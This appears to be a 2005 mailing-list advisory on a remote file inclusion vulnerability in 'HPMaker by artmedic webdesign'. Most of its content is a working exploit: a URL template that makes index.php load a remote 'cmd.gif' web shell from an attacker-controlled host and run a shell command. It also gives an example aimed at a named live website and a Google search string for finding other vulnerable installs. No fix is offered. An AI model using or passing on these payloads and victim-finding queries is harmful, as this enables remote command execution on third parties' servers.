Related information

Web applications security vulnerabilities (PHP, ASP, CGI, Perl, etc)

FaqRing 3.0 SQL inj. vuln.

[Full-disclosure] WebCalendar Multiple Vulnerabilities

[Full-disclosure] Php Web Statistik Multiple Vulnerabilities

[Full-disclosure] Free Web Stat Multiple XSS Vulnerabilities

From:	:) :) <liz0_(at)_bsdmail.com>
Date:	28.11.2005
Subject:	HPMaker by artmedic webdesign Remote File Inclusion

Title: HPMaker by artmedic webdesign  Remote File Inclusion

http://www.biyo.tk

Credit: Liz0ziM & wannacut mail:Liz0@bsdmail.com

---------------------------------------------------------------------------------


exploit :-

http://www.[host].com/[path]/index.php?p=http://www.[evilsite].com/CMD.
gif?&cmd=ls

---------------------------------------------------------------------------------
-

Example:

http://subauktion.de/hpmaker/index.php?p=http://lejyoner21.sitemynet.
com/tools/cmd.gif?&cmd=ls



---------------------------------------------------------------------------------
--

google : "HPMaker by artmedic webdesign" inurl:index.php and inurl:.htm